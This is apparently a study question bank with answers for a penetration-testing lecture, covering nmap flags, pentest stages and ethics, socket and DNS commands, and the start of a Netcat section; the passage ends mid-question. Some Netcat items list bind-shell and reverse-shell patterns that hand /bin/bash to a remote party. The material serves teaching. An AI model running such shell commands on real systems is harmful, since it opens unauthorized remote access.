Answer: A. write normal output
Why: `-oN` is used to write normal output.

Source page reference: p. 34

Q345 | Option-list variant

which flag is used to write normal output?

- A. -sT
- B. -oN
- C. -sP
- D. -O

Answer: B. -oN
Why: `-oN` is the matching flag.

Source page reference: p. 34

Q346 | Option-list variant

what does `-oX` mean?

- A. write XML output
- B. detect an operating system
- C. perform a TCP connect scan
- D. perform ping-host discovery as listed on the option summary

Answer: A. write XML output

Why: `-oX` is used to write XML output.

Source page reference: p. 34

Q347 | Option-list variant

which flag is used to write XML output?

- A. -sP
- B. -O
- C. -oX
- D. -sT

Answer: C. -oX

Why: `-oX` is the matching flag.

Source page reference: p. 34

Q348 | Option-list variant

what does `-oG` mean?

- A. detect an operating system
- B. perform a TCP connect scan
- C. perform ping-host discovery as listed on the option summary
- D. write grepable output

Answer: D. write grepable output

Why: `-oG` is used to write grepable output.

Source page reference: p. 34

Q349 | Option-list variant

which flag is used to write grepable output?

- A. -oG
- B. -O
- C. -sT
- D. -sP

Answer: A. -oG

Why: `-oG` is the matching flag.

Source page reference: p. 34

Q350 | Option-list variant

what does `-oA` mean?

- A. write all output formats
- B. perform ping-host discovery as listed on the option summary
- C. perform a TCP connect scan
- D. detect an operating system

Answer: A. write all output formats

Why: `-oA` is used to write all output formats.

Source page reference: p. 34

Q351 | Option-list variant

which flag is used to write all output formats?

- A. -sT
- B. -oA
- C. -sP
- D. -O

Answer: B. -oA

Why: `-oA` is the matching flag.

Source page reference: p. 34

Q352 | Comparison variant

Which technique is more likely to complete a full TCP handshake?

- A. TCP connect scan
- B. Passive reconnaissance
- C. SYN scan
- D. FIN scan

Answer: A. TCP connect scan

Why: The TCP connect scan completes the handshake.

Source page reference: p. 28

Q353 | Comparison variant

Which technique gathers information without directly scanning the target network or system?

- A. Passive reconnaissance
- B. FIN scanning
- C. TCP connect scanning
- D. Active scanning

Answer: A. Passive reconnaissance

Why: Passive reconnaissance avoids direct target scanning.

Source page reference: p. 11

Q354 | Comparison variant

Which tool is a graphical packet sniffer and traffic monitor?

- A. EtherApe
- B. Nessus
- C. GVM
- D. NetDiscover

Answer: A. EtherApe

Why: EtherApe graphically displays traffic.

Source page reference: p. 24

Q355 | Comparison variant

Which tool is focused on internal host discovery using IP and MAC information?

- A. Burp Suite
- B. Metasploit
- C. NetDiscover
- D. archive.org

Answer: C. NetDiscover

Why: NetDiscover finds internal live hosts.

Source page reference: p. 23

Q356 | Comparison variant

Which scanner supports authenticated scans that can reveal additional vulnerabilities?

- A. whois
- B. Nessus
- C. archive.org
- D. Netcraft

Answer: B. Nessus

Why: Nessus supports authenticated scanning.

Source page reference: p. 40

Q357 | Comparison variant

Which framework provides exploit modules and payloads?

- A. Netcraft
- B. host
- C. Metasploit
- D. EtherApe

Answer: C. Metasploit

Why: Metasploit provides exploit modules and payloads.

Source page reference: p. 43

End of cleaned question bank

Use the source-page references to locate the relevant lecture content during revision. Technical commands must be used only in authorized laboratories or explicitly scoped assessments.

Lecture 3 - Penetration testing

Cleaned exam-style MCQ question bank

289 questions. The correct answer and a concise explanation appear directly below every item.

Cleanup rule: questions test cybersecurity concepts, command interpretation, and applied scenarios. Administrative facts, screenshot trivia, slide-position questions, and category-membership questions were removed.

Source-page references: retained only as a study-navigation aid; they are not part of the question wording.

Coverage map

Section	Questions
1. Penetration-testing foundations, workflow, taxonomy, and ethics	46
2. Socket inspection and DNS-query utilities	28
3. Netcat connections, bind shells, reverse shells, and file transfer	30
4. Metasploit framework concepts and module categories	30
5. Metasploit console workflow, variables, scanners, and exploit mapping	88
6. Lab case studies and post-exploitation concepts	34
7. MSFvenom fundamentals, flags, and command interpretation	33
Total	289

Searchable quick reference

Item	Meaning
sudo lsof -i :8080	Inspect process activity associated with port 8080
netstat -antp	Display active TCP connections
ss -at4n	Display TCP IPv4 socket information using numeric addresses
dig +trace <domain>	Trace DNS resolution
nc -lvnp <port>	Listen for incoming Netcat connections
nc <ip> <port>	Connect to a Netcat listener
msfconsole	Start Metasploit
search <term>	Search for modules
use <index or module path>	Select a module
info	Inspect module details
show options	Inspect configurable module options
run	Execute the configured module
RHOST / RPORT	Remote target host and target port
LHOST / LPORT	Local listener host and local listener port
RHOSTS	Target host list for supporting modules
Auxiliary	Scanners, fuzzers, sniffers, spoofers, and related support modules
Exploit	Module that uses a payload against a vulnerability
Payload	Code that runs remotely after successful exploitation
Post	Actions performed after authorized access
msfvenom -l payloads	List available payloads
-p	Select payload
-f	Select output format
-o	Select output filename

1. Penetration-testing foundations, workflow, taxonomy, and ethics

46 questions. Answers appear immediately below each item.

Q001 | Definition recognition

Which description best matches penetration testing?

- A. Performing any exploit that is technically possible without permission
- B. Reviewing only source code without interacting with a running system
- C. Guaranteeing that a system has no vulnerabilities
- D. Testing the security of a running system through an authorized simulated attack

Answer: D. Testing the security of a running system through an authorized simulated attack

Why: The lecture defines penetration testing as testing the security of a running system through an authorized simulated attack.

Source page reference: p. 7

Q002 | Single answer

Which statement about penetration testing is correct?

- A. It complements a security strategy but does not guarantee security.
- B. It eliminates the need for threat modelling.
- C. It guarantees that no future attack will succeed.
- D. It is ethical whenever the tester believes the goal is beneficial.

Answer: A. It complements a security strategy but does not guarantee security.

Why: The lecture explicitly says that penetration testing is not a guarantee and should complement broader security work.

Source page reference: p. 7

Q003 | Assertion-reason

Assertion: Penetration testing should be integrated into a broader security strategy.

Reason: A penetration test is not a guarantee that a system is secure.

- A. Both the assertion and the reason are true, and the reason correctly explains the assertion.
- B. Both the assertion and the reason are true, but the reason does not correctly explain the assertion.
- C. The assertion is true, but the reason is false.
- D. The assertion is false, but the reason is true.

Answer: A. Both the assertion and the reason are true, and the reason correctly explains the assertion.

Why: Because testing cannot prove absolute security, it should complement other activities such as threat modelling.

Source page reference: p. 7

Q004 | Workflow definition

Which penetration-testing activity is best described as follows: Confirm authorization before interacting with the target.

- A. Getting permission
- B. Gathering information
- C. Vulnerability analysis
- D. Threat modelling

Answer: A. Getting permission

Why: This description corresponds to the getting permission stage.

Source page reference: p. 8

Q005 | Reverse definition

What is the main purpose of the getting permission stage?

- A. Confirm authorization before interacting with the target.
- B. Relate collected intelligence to possible weaknesses.
- C. Clarify the scope of the test and what the assessment covers.
- D. Collect company details, IP addresses, websites, host and service data, and fingerprints.

Answer: A. Confirm authorization before interacting with the target.

Why: The lecture associates getting permission with this purpose.

Source page reference: p. 8

Q006 | Workflow definition

Which penetration-testing activity is best described as follows: Collect company details, IP addresses, websites, host and service data, and fingerprints.

- A. Vulnerability analysis
- B. Gathering information
- C. Threat modelling
- D. Getting permission

Answer: B. Gathering information

Why: This description corresponds to the gathering information stage.

Source page reference: p. 8

Q007 | Reverse definition

What is the main purpose of the gathering information stage?

- A. Collect company details, IP addresses, websites, host and service data, and fingerprints.
- B. Clarify the scope of the test and what the assessment covers.
- C. Confirm authorization before interacting with the target.
- D. Relate collected intelligence to possible weaknesses.

Answer: A. Collect company details, IP addresses, websites, host and service data, and fingerprints.

Why: The lecture associates gathering information with this purpose.

Source page reference: p. 8

Q008 | Workflow definition

Which penetration-testing activity is best described as follows: Clarify the scope of the test and what the assessment covers.

- A. Vulnerability analysis
- B. Threat modelling
- C. Getting permission
- D. Gathering information

Answer: B. Threat modelling

Why: This description corresponds to the threat modelling stage.

Source page reference: p. 8

Q009 | Reverse definition

What is the main purpose of the threat modelling stage?

- A. Confirm authorization before interacting with the target.
- B. Clarify the scope of the test and what the assessment covers.
- C. Relate collected intelligence to possible weaknesses.
- D. Collect company details, IP addresses, websites, host and service data, and fingerprints.

Answer: B. Clarify the scope of the test and what the assessment covers.

Why: The lecture associates threat modelling with this purpose.

Source page reference: p. 8

Q010 | Workflow definition

Which penetration-testing activity is best described as follows: Relate collected intelligence to possible weaknesses.

- A. Threat modelling
- B. Vulnerability analysis
- C. Gathering information
- D. Getting permission

Answer: B. Vulnerability analysis

Why: This description corresponds to the vulnerability analysis stage.

Source page reference: p. 8

Q011 | Reverse definition

What is the main purpose of the vulnerability analysis stage?

- A. Collect company details, IP addresses, websites, host and service data, and fingerprints.
- B. Confirm authorization before interacting with the target.
- C. Relate collected intelligence to possible weaknesses.
- D. Clarify the scope of the test and what the assessment covers.

Answer: C. Relate collected intelligence to possible weaknesses.

Why: The lecture associates vulnerability analysis with this purpose.

Source page reference: p. 8

Q012 | Workflow definition

Which penetration-testing activity is best described as follows: Carefully demonstrate a weakness through a limited proof of concept without harming the target.

- A. Exploitation
- B. Gathering information
- C. Threat modelling
- D. Getting permission

Answer: A. Exploitation

Why: This description corresponds to the exploitation stage.

Source page reference: p. 8

Q013 | Reverse definition

What is the main purpose of the exploitation stage?

- A. Carefully demonstrate a weakness through a limited proof of concept without harming the target.
- B. Collect company details, IP addresses, websites, host and service data, and fingerprints.
- C. Clarify the scope of the test and what the assessment covers.
- D. Confirm authorization before interacting with the target.

Answer: A. Carefully demonstrate a weakness through a limited proof of concept without harming the target.

Why: The lecture associates exploitation with this purpose.

Source page reference: p. 8

Q014 | Workflow definition

Which penetration-testing activity is best described as follows: Document findings and support remediation or fixes.

- A. Threat modelling
- B. Getting permission
- C. Reporting
- D. Gathering information

Answer: C. Reporting

Why: This description corresponds to the reporting stage.

Source page reference: p. 8

Q015 | Reverse definition

What is the main purpose of the reporting stage?

- A. Confirm authorization before interacting with the target.
- B. Document findings and support remediation or fixes.
- C. Collect company details, IP addresses, websites, host and service data, and fingerprints.
- D. Clarify the scope of the test and what the assessment covers.

Answer: B. Document findings and support remediation or fixes.

Why: The lecture associates reporting with this purpose.

Source page reference: p. 8

Q016 | Scenario

A consultant identifies service banners and operating-system fingerprints, then connects those findings to known weaknesses. Which activity is being performed?

- A. Data destruction
- B. Vulnerability analysis
- C. Reporting
- D. Getting permission

Answer: B. Vulnerability analysis

Why: Vulnerability analysis connects collected intelligence to possible vulnerabilities.

Source page reference: p. 8

Q017 | Scenario

A tester creates a carefully limited proof of concept to demonstrate a flaw while avoiding harm to the target. Which stage is this?

- A. Exploitation
- B. Reporting
- C. Threat modelling
- D. Gathering information

Answer: A. Exploitation

Why: The lecture describes exploitation as a careful proof of concept that demonstrates a problem without harming the target.

Source page reference: p. 8

Q018 | Ordering

Which activity must come before a tester begins interacting with a target system?

- A. Publishing scan output
- B. Exploitation
- C. Getting permission
- D. Credential harvesting

Answer: C. Getting permission

Why: Authorization is a prerequisite for a legitimate penetration test.

Source page reference: p. 8

Q019 | EXCEPT / NOT

All of the following are penetration-testing activities EXCEPT:

- A. Gathering information
- B. Getting permission
- C. Assuming that Internet exposure removes the need for authorization
- D. Vulnerability analysis

Answer: C. Assuming that Internet exposure removes the need for authorization

Why: Reachability does not remove the need for permission.

Source page reference: p. 8

Q020 | Taxonomy

Which hacker category is best described as follows: Acts with malicious intent for gain, profit, or ideologically motivated destruction.

- A. White hat
- B. Grey hat
- C. Black hat
- D. Script kiddy

Answer: C. Black hat

Why: The lecture associates this description with the black hat category.

Source page reference: p. 6

Q021 | Reverse taxonomy

Which description best matches a black hat?

- A. Usually obeys the law but may hack without permission.
- B. Acts with malicious intent for gain, profit, or ideologically motivated destruction.
- C. Performs ethical hacking with permission to improve security or assess risks.
- D. An unskilled person who relies on one or two pre-made hacking tools or scripts.

Answer: B. Acts with malicious intent for gain, profit, or ideologically motivated destruction.

Why: The lecture defines a black hat using this description.

Source page reference: p. 6

Q022 | Taxonomy

Which hacker category is best described as follows: Performs ethical hacking with permission to improve security or assess risks.

- A. Grey hat
- B. Black hat
- C. Script kiddy
- D. White hat

Answer: D. White hat

Why: The lecture associates this description with the white hat category.

Source page reference: p. 6

Q023 | Reverse taxonomy

Which description best matches a white hat?

- A. Performs ethical hacking with permission to improve security or assess risks.
- B. Acts with malicious intent for gain, profit, or ideologically motivated destruction.
- C. Usually obeys the law but may hack without permission.
- D. An unskilled person who relies on one or two pre-made hacking tools or scripts.

Answer: A. Performs ethical hacking with permission to improve security or assess risks.

Why: The lecture defines a white hat using this description.

Source page reference: p. 6

Q024 | Taxonomy

Which hacker category is best described as follows: Usually obeys the law but may hack without permission.

- A. Grey hat
- B. White hat
- C. Black hat
- D. Script kiddy

Answer: A. Grey hat

Why: The lecture associates this description with the grey hat category.

Source page reference: p. 6

Q025 | Reverse taxonomy

Which description best matches a grey hat?

- A. Acts with malicious intent for gain, profit, or ideologically motivated destruction.
- B. Performs ethical hacking with permission to improve security or assess risks.
- C. Usually obeys the law but may hack without permission.
- D. An unskilled person who relies on one or two pre-made hacking tools or scripts.

Answer: C. Usually obeys the law but may hack without permission.

Why: The lecture defines a grey hat using this description.

Source page reference: p. 6

Q026 | Taxonomy

Which hacker category is best described as follows: An unskilled person who relies on one or two pre-made hacking tools or scripts.

- A. Script kiddy
- B. Black hat
- C. White hat
- D. Grey hat

Answer: A. Script kiddy

Why: The lecture associates this description with the script kiddy category.

Source page reference: p. 6

Q027 | Reverse taxonomy

Which description best matches a script kiddy?

- A. Performs ethical hacking with permission to improve security or assess risks.
- B. An unskilled person who relies on one or two pre-made hacking tools or scripts.
- C. Usually obeys the law but may hack without permission.
- D. Acts with malicious intent for gain, profit, or ideologically motivated destruction.

Answer: B. An unskilled person who relies on one or two pre-made hacking tools or scripts.

Why: The lecture defines a script kiddy using this description.

Source page reference: p. 6

Q028 | Scenario

A person uses a pre-built exploit script without understanding its operation. Which label best fits this person?

- A. Grey hat
- B. System owner
- C. White hat
- D. Script kiddy

Answer: D. Script kiddy

Why: The lecture uses script kiddy as slang for an unskilled person using pre-made tools or scripts.

Source page reference: p. 6

Q029 | Scenario

A security consultant performs an agreed assessment within a documented scope to improve a client system. Which category best fits the consultant?

- A. Black hat
- B. Script kiddy
- C. White hat
- D. Grey hat

Answer: C. White hat

Why: Permission and the security-improvement goal align with white-hat ethical hacking.

Source page reference: p. 6

Q030 | Scenario

An individual believes a scan is beneficial but performs it without the system owner's permission. Which ethical issue is most relevant?

- A. Permission is optional for public systems.
- B. The tester's self-view of doing good may conflict with the victim's perspective.
- C. Good intentions automatically create authorization.
- D. Only the scan result determines whether the action was ethical.

Answer: B. The tester's self-view of doing good may conflict with the victim's perspective.

Why: The lecture highlights a possible conflict between self-view and the victim's perspective.

Source page reference: p. 6

Q031 | Select all that apply

Which statements are consistent with the ethical concerns discussed? Select all that apply.

- A. Authorization matters before testing.
- B. Privileged users are often trusted in large-scale systems.
- C. A complete breakdown of trust can be costly.
- D. Believing that an action is helpful automatically replaces permission.
- E. Ethical reflection remains relevant even for technically skilled testers.

Answer: A, B, C, E

Why: The lecture discusses authorization, trust in privileged users, the cost of trust breakdown, and ethical reflection.

Source page reference: pp. 10-11

Q032 | True / False

A contracted penetration tester should still consider scope, permission, and possible harm.

- A. False
- B. True

Answer: B. True

Why: A contract does not eliminate the need to act within authorization and carefully avoid harm.

Source page reference: pp. 8, 10

Q033 | Interpretation

What is the main point of the statement "You can't plug holes if you don't know where they are"?

- A. A penetration test is a guarantee of security.
- B. Organizations need to identify actual weaknesses and entry paths before they can address them effectively.
- C. Only server-side controls matter.
- D. Organizations should stop logging attacks.

Answer: B. Organizations need to identify actual weaknesses and entry paths before they can address them effectively.
Why: The statement emphasizes the value of discovering real weaknesses and attack paths.

Source page reference: p. 9

Q034 | Interpretation

Why is detecting an attack only after it reaches a server concerning?

- A. The server automatically becomes immune to later attacks.
- B. Network monitoring becomes unnecessary.
- C. It proves that the endpoint was never involved.
- D. The attacker may already have been exploring the infrastructure for some time.

Answer: D. The attacker may already have been exploring the infrastructure for some time.
Why: The lecture notes that attacks typically start on endpoints, so later server detection may mean the attacker has already been active internally.

Source page reference: p. 9

Q035 | Workflow variant

An assessment team is performing this task: Confirm authorization before interacting with the target. Which workflow stage is the best match?

- A. Getting permission
- B. Threat modelling
- C. Vulnerability analysis
- D. Gathering information

Answer: A. Getting permission
Why: This task belongs to getting permission.

Source page reference: p. 8

Q036 | Workflow variant

An assessment team is performing this task: Collect company details, IP addresses, websites, host and service data, and fingerprints. Which workflow stage is the best match?

- A. Getting permission
- B. Threat modelling
- C. Vulnerability analysis
- D. Gathering information

Answer: D. Gathering information
Why: This task belongs to gathering information.

Source page reference: p. 8

Q037 | Workflow variant

An assessment team is performing this task: Clarify the scope of the test and what the assessment covers. Which workflow stage is the best match?

- A. Getting permission
- B. Gathering information
- C. Vulnerability analysis
- D. Threat modelling

Answer: D. Threat modelling

Why: This task belongs to threat modelling.

Source page reference: p. 8

Q038 | Workflow variant

An assessment team is performing this task: Relate collected intelligence to possible weaknesses. Which workflow stage is the best match?

- A. Threat modelling
- B. Vulnerability analysis
- C. Getting permission
- D. Gathering information

Answer: B. Vulnerability analysis

Why: This task belongs to vulnerability analysis.

Source page reference: p. 8

Q039 | Workflow variant

An assessment team is performing this task: Carefully demonstrate a weakness through a limited proof of concept without harming the target. Which workflow stage is the best match?

- A. Threat modelling
- B. Gathering information
- C. Getting permission
- D. Exploitation

Answer: D. Exploitation

Why: This task belongs to exploitation.

Source page reference: p. 8

Q040 | Workflow variant

An assessment team is performing this task: Document findings and support remediation or fixes. Which workflow stage is the best match?

- A. Reporting
- B. Gathering information
- C. Threat modelling
- D. Getting permission

Answer: A. Reporting

Why: This task belongs to reporting.

Source page reference: p. 8

Q041 | Taxonomy variant

Choose the most accurate label for a person who acts with malicious intent for gain, profit, or ideologically motivated destruction.

- A. Script kiddy
- B. Grey hat
- C. White hat
- D. Black hat

Answer: D. Black hat

Why: This matches the lecture description of black hat.

Source page reference: p. 6

Q042 | Taxonomy variant

Choose the most accurate label for a person who performs ethical hacking with permission to improve security or assess risks.

- A. Grey hat
- B. Script kiddy
- C. Black hat
- D. White hat

Answer: D. White hat

Why: This matches the lecture description of white hat.

Source page reference: p. 6

Q043 | Taxonomy variant

Choose the most accurate label for a person who usually obeys the law but may hack without permission.

- A. Script kiddy
- B. White hat
- C. Black hat
- D. Grey hat

Answer: D. Grey hat

Why: This matches the lecture description of grey hat.

Source page reference: p. 6

Q044 | Taxonomy variant

Choose the most accurate label for a person who an unskilled person who relies on one or two pre-made hacking tools or scripts.

- A. Grey hat
- B. Black hat
- C. White hat
- D. Script kiddy

Answer: D. Script kiddy

Why: This matches the lecture description of script kiddy.

Source page reference: p. 6

Q045 | Ethics variant

Which factor most clearly separates a legitimate white-hat penetration test from unauthorized hacking?

- A. The number of tools used
- B. The tester's belief that the action is helpful
- C. Permission and an agreed scope
- D. The existence of an open port

Answer: C. Permission and an agreed scope

Why: Authorization and scope are central to legitimate penetration testing.

Source page reference: pp. 6-8, 10

Q046 | Survey interpretation variant

What does late server-side detection suggest about the possible duration of attacker activity?

- A. The network cannot be monitored.
- B. The attacker never touched an endpoint.
- C. The attacker may already have been active inside the infrastructure for some time.
- D. The attack was guaranteed to be harmless.

Answer: C. The attacker may already have been active inside the infrastructure for some time.

Why: The lecture warns that endpoint-originated attacks may already have progressed by the time servers reveal them.

Source page reference: p. 9

2. Socket inspection and DNS-query utilities

28 questions. Answers appear immediately below each item.

Q047 | Command recognition

Which command best matches this purpose: Display network status and active TCP connections, including process-related information where available.

- A. netstat -antp
- B. sudo lsof -i:8080
- C. ss -at4n

Answer: A. netstat -antp

Why: The lecture uses netstat -antp for this purpose.

Source page reference: p. 13

Q048 | Reverse command recognition

What is the best description of the command netstat -antp?

- A. Display socket information for TCP over IPv4 using numeric addresses.
- B. Display network status and active TCP connections, including process-related information where available.
- C. Show processes associated with network use of port 8080, with administrative privileges for fuller visibility.

Answer: B. Display network status and active TCP connections, including process-related information where available.

Why: This is the role associated with netstat -antp in the lecture.

Source page reference: p. 13

Q049 | Command recognition

Which command best matches this purpose: Display socket information for TCP over IPv4 using numeric addresses.

- A. ss -at4n
- B. sudo lsof -i:8080
- C. netstat -antp

Answer: A. ss -at4n

Why: The lecture uses ss -at4n for this purpose.

Source page reference: p. 13

Q050 | Reverse command recognition

What is the best description of the command ss -at4n?

- A. Display network status and active TCP connections, including process-related information where available.
- B. Show processes associated with network use of port 8080, with administrative privileges for fuller visibility.
- C. Display socket information for TCP over IPv4 using numeric addresses.

Answer: C. Display socket information for TCP over IPv4 using numeric addresses.

Why: This is the role associated with ss -at4n in the lecture.

Source page reference: p. 13

Q051 | Command recognition

Which command best matches this purpose: Show processes associated with network use of port 8080, with administrative privileges for fuller visibility.

- A. `sudo lsof -i:8080`
- B. `netstat -antp`
- C. `ss -at4n`

Answer: A. `sudo lsof -i:8080`

Why: The lecture uses `sudo lsof -i :8080` for this purpose.

Source page reference: p. 13

Q052 | Reverse command recognition

What is the best description of the command `sudo lsof -i:8080`?

- A. Display network status and active TCP connections, including process-related information where available.
- B. Show processes associated with network use of port 8080, with administrative privileges for fuller visibility.
- C. Display socket information for TCP over IPv4 using numeric addresses.

Answer: B. Show processes associated with network use of port 8080, with administrative privileges for fuller visibility.

Why: This is the role associated with `sudo lsof -i :8080` in the lecture.

Source page reference: p. 13

Q053 | Single answer

Which utility can generally show files opened by processes and can also show processes for a certain port?

- A. `msfvenom`
- B. `vncviewer`
- C. `lsof`
- D. `dig`

Answer: C. `lsof`

Why: The lecture describes `lsof` as a tool that can show opened files and processes for a port.

Source page reference: p. 13

Q054 | Single answer

Why may administrative privileges be needed when using `lsof` for socket inspection?

- A. To generate a reverse TCP payload
- B. To access all available process information
- C. To guarantee that a port is vulnerable
- D. To convert DNS names into IP addresses

Answer: B. To access all available process information

Why: The lecture notes that administrative privileges are needed to access all information.

Source page reference: p. 13

Q055 | EXCEPT / NOT

All of the following are associated with listing open sockets or active connections EXCEPT:

- A. sudo lsof -i:8080
- B. ss -at4n
- C. netstat -antp
- D. msfvenom -l payloads

Answer: D. msfvenom -l payloads

Why: msfvenom -l payloads lists payloads, whereas the other commands support socket or process inspection.

Source page reference: pp. 13, 37

Q056 | DNS command recognition

Which command matches this purpose: Query DNS information for www.google.com using nslookup.

- A. host www.google.com
- B. nslookup www.google.com
- C. dig +trace www.google.com
- D. host -a gmail.com

Answer: B. nslookup www.google.com

Why: The lecture presents nslookup www.google.com as a DNS-query example.

Source page reference: p. 14

Q057 | Reverse DNS command

What is the purpose of nslookup www.google.com?

- A. Query DNS information for www.google.com using host.
- B. Trace DNS resolution through the hierarchical DNS for www.google.com.
- C. Query DNS information for www.google.com using nslookup.
- D. Request a more detailed host query for gmail.com using the -a option.

Answer: C. Query DNS information for www.google.com using nslookup.

Why: The command is one of the lecture's DNS-query examples.

Source page reference: p. 14

Q058 | DNS command recognition

Which command matches this purpose: Query DNS information for www.google.com using host.

- A. nslookup www.google.com
- B. dig +trace www.google.com
- C. host www.google.com
- D. host -a gmail.com

Answer: C. host www.google.com

Why: The lecture presents host www.google.com as a DNS-query example.

Source page reference: p. 14

Q059 | Reverse DNS command

What is the purpose of host www.google.com?

- A. Trace DNS resolution through the hierarchical DNS for www.google.com.
- B. Request a more detailed host query for gmail.com using the -a option.
- C. Query DNS information for www.google.com using nslookup.
- D. Query DNS information for www.google.com using host.

Answer: D. Query DNS information for www.google.com using host.

Why: The command is one of the lecture's DNS-query examples.

Source page reference: p. 14

Q060 | DNS command recognition

Which command matches this purpose: Request a more detailed host query for gmail.com using the -a option.

- A. host www.google.com
- B. host -a gmail.com
- C. nslookup www.google.com
- D. dig +trace www.google.com

Answer: B. host -a gmail.com

Why: The lecture presents host -a gmail.com as a DNS-query example.

Source page reference: p. 14

Q061 | Reverse DNS command

What is the purpose of host -a gmail.com?

- A. Trace DNS resolution through the hierarchical DNS for www.google.com.
- B. Query DNS information for www.google.com using host.
- C. Query DNS information for www.google.com using nslookup.
- D. Request a more detailed host query for gmail.com using the -a option.

Answer: D. Request a more detailed host query for gmail.com using the -a option.

Why: The command is one of the lecture's DNS-query examples.

Source page reference: p. 14

Q062 | DNS command recognition

Which command matches this purpose: Trace DNS resolution through the hierarchical DNS for www.google.com.

- A. host -a gmail.com
- B. dig +trace www.google.com
- C. nslookup www.google.com
- D. host www.google.com

Answer: B. dig +trace www.google.com

Why: The lecture presents dig +trace www.google.com as a DNS-query example.

Source page reference: p. 14

Q063 | Reverse DNS command

What is the purpose of dig +trace www.google.com?

- A. Trace DNS resolution through the hierarchical DNS for www.google.com.
- B. Query DNS information for www.google.com using nslookup.
- C. Request a more detailed host query for gmail.com using the -a option.
- D. Query DNS information for www.google.com using host.

Answer: A. Trace DNS resolution through the hierarchical DNS for www.google.com.

Why: The command is one of the lecture's DNS-query examples.

Source page reference: p. 14

Q064 | Single answer

Which command is the clearest match when the goal is to trace hierarchical DNS resolution?

- A. nc -lvp <port>
- B. dig +trace www.google.com
- C. ss -at4n
- D. msfconsole

Answer: B. dig +trace www.google.com

Why: The +trace option is used to trace the DNS-resolution path.

Source page reference: p. 14

Q065 | Select all that apply

Which tools are valid DNS-query utilities? Select all that apply.

- A. nslookup
- B. host
- C. dig
- D. ss
- E. lsof
- F. msfvenom

Answer: A, B, C

Why: The DNS slide lists nslookup, host, and dig.

Source page reference: p. 14

Q066 | True / False

The command sudo lsof -i:8080 is used to inspect activity associated with port 8080.

- A. False
- B. True

Answer: B. True

Why: The lecture gives this exact port-inspection example.

Source page reference: p. 13

Q067 | True / False

The command dig +trace www.google.com is intended to display local files opened by processes.

- A. False
- B. True

Answer: A. False

Why: dig is a DNS-query tool; lsof is the file and process inspection utility.

Source page reference: pp. 13-14

Q068 | Socket command variant

You need to perform the following authorized inspection task: Display network status and active TCP connections, including process-related information where available. Which command is the best choice?

- A. netstat -antp
- B. sudo lsof -i:8080
- C. ss -at4n
- D. nslookup www.google.com

Answer: A. netstat -antp

Why: netstat -antp is the matching command from the lecture.

Source page reference: p. 13

Q069 | Socket command variant

You need to perform the following authorized inspection task: Display socket information for TCP over IPv4 using numeric addresses. Which command is the best choice?

- A. netstat -antp
- B. ss -at4n
- C. nslookup www.google.com
- D. sudo lsof -i:8080

Answer: B. ss -at4n

Why: ss -at4n is the matching command from the lecture.

Source page reference: p. 13

Q070 | Socket command variant

You need to perform the following authorized inspection task: Show processes associated with network use of port 8080, with administrative privileges for fuller visibility. Which command is the best choice?

- A. nslookup www.google.com
- B. ss -at4n
- C. netstat -antp
- D. sudo lsof -i:8080

Answer: D. sudo lsof -i:8080

Why: sudo lsof -i :8080 is the matching command from the lecture.

Source page reference: p. 13

Q071 | DNS command variant

Which command should be selected for this DNS task: Query DNS information for www.google.com using nslookup.

- A. host -a gmail.com
- B. nslookup www.google.com
- C. dig +trace www.google.com
- D. host www.google.com

Answer: B. nslookup www.google.com

Why: nslookup www.google.com is the matching DNS-query example.

Source page reference: p. 14

Q072 | DNS command variant

Which command should be selected for this DNS task: Query DNS information for www.google.com using host.

- A. nslookup www.google.com
- B. host www.google.com
- C. host -a gmail.com
- D. dig +trace www.google.com

Answer: B. host www.google.com

Why: host www.google.com is the matching DNS-query example.

Source page reference: p. 14

Q073 | DNS command variant

Which command should be selected for this DNS task: Request a more detailed host query for gmail.com using the -a option.

- A. host www.google.com
- B. host -a gmail.com
- C. nslookup www.google.com
- D. dig +trace www.google.com

Answer: B. host -a gmail.com

Why: host -a gmail.com is the matching DNS-query example.

Source page reference: p. 14

Q074 | DNS command variant

Which command should be selected for this DNS task: Trace DNS resolution through the hierarchical DNS for www.google.com.

- A. host www.google.com
- B. dig +trace www.google.com
- C. nslookup www.google.com
- D. host -a gmail.com

Answer: B. dig +trace www.google.com

Why: dig +trace www.google.com is the matching DNS-query example.

Source page reference: p. 14

3. Netcat connections, bind shells, reverse shells, and file transfer

30 questions. Answers appear immediately below each item.

Q075 | Definition recognition

Which statement best describes Netcat?

- A. A graphical DNS archive viewer
- B. A vulnerability database that assigns CVE identifiers
- C. A payload encoder only
- D. A versatile tool for creating TCP/IP connections by attaching specific IP addresses and ports

Answer: D. A versatile tool for creating TCP/IP connections by attaching specific IP addresses and ports

Why: The lecture introduces Netcat as a versatile TCP/IP connection tool that binds to specific addresses and ports.

Source page reference: p. 15

Q076 | Command recognition

Which Netcat command pattern best matches this purpose: Listen on a port for incoming connections.

- A. nc <ip> <port> -e /bin/bash
- B. nc -lvnp <port> -e /bin/bash
- C. nc -lvnp <port>
- D. nc <ip> <port>

Answer: C. nc -lvnp <port>

Why: The lecture associates this command pattern with the stated role.

Source page reference: pp. 15-18

Q077 | Reverse command recognition

What is the best description of nc -lvnp <port>?

- A. Connect a shell back to a listener as a basic reverse-shell pattern.
- B. Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.
- C. Connect to a listening host and port.
- D. Listen on a port for incoming connections.

Answer: D. Listen on a port for incoming connections.

Why: This command is used for the stated Netcat role.

Source page reference: pp. 15-18

Q078 | Command recognition

Which Netcat command pattern best matches this purpose: Connect to a listening host and port.

- A. nc <ip> <port> -e /bin/bash
- B. nc -lvnp <port>
- C. nc -lvnp <port> -e /bin/bash
- D. nc <ip> <port>

Answer: D. nc <ip> <port>

Why: The lecture associates this command pattern with the stated role.

Source page reference: pp. 15-18

Q079 | Reverse command recognition

What is the best description of nc <ip> <port>?

- A. Connect a shell back to a listener as a basic reverse-shell pattern.
- B. Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.
- C. Listen on a port for incoming connections.
- D. Connect to a listening host and port.

Answer: D. Connect to a listening host and port.

Why: This command is used for the stated Netcat role.

Source page reference: pp. 15-18

Q080 | Command recognition

Which Netcat command pattern best matches this purpose: Expose a shell from the listening side; this is dangerous because anyone with access may be able to execute commands.

- A. nc <ip> <port> -e /bin/bash
- B. nc <ip> <port>
- C. nc -lvnp <port>
- D. nc -lvnp <port> -e /bin/bash

Answer: D. nc -lvnp <port> -e /bin/bash

Why: The lecture associates this command pattern with the stated role.

Source page reference: pp. 15-18

Q081 | Reverse command recognition

What is the best description of nc -lvnp <port> -e /bin/bash?

- A. Connect a shell back to a listener as a basic reverse-shell pattern.
